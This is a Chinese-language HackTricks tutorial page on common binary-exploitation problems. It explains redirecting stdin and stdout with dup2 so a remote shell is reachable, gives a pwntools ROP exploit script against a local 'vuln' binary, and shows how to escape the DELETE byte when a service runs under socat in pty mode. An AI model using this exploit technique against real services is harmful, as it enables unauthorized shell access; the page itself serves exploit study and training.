hacktricks/binary-exploitation/common-exploiting-problems.md

3.8 KiB
Raw Blame History

常见的利用问题

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

远程利用中的文件描述符

当向调用**system('/bin/sh')**的远程服务器发送利用时,这将在服务器进程中执行,/bin/sh将期望从stdinFD0接收输入并将输出打印在stdout和stderr中FDs 12)。 因此攻击者将无法与shell进行交互。

修复此问题的一种方法是假设服务器启动时创建了FD编号3(用于监听),然后,您的连接将在**FD编号4中。 因此,可以使用系统调用dup2**将stdinFD 0和stdoutFD 1复制到FD 4攻击者连接的FD从而使得一旦执行后可以联系shell。

这里的利用示例:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

请注意socat已经将**stdinstdout传输到套接字。但是,pty模式包括DELETE字符**。因此,如果您发送\x7fDELETE-),它将删除您的利用程序的前一个字符

为了绕过这个问题,必须在发送任何\x7f之前添加转义字符\x16

在这里你可以 找到这种行为的示例

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert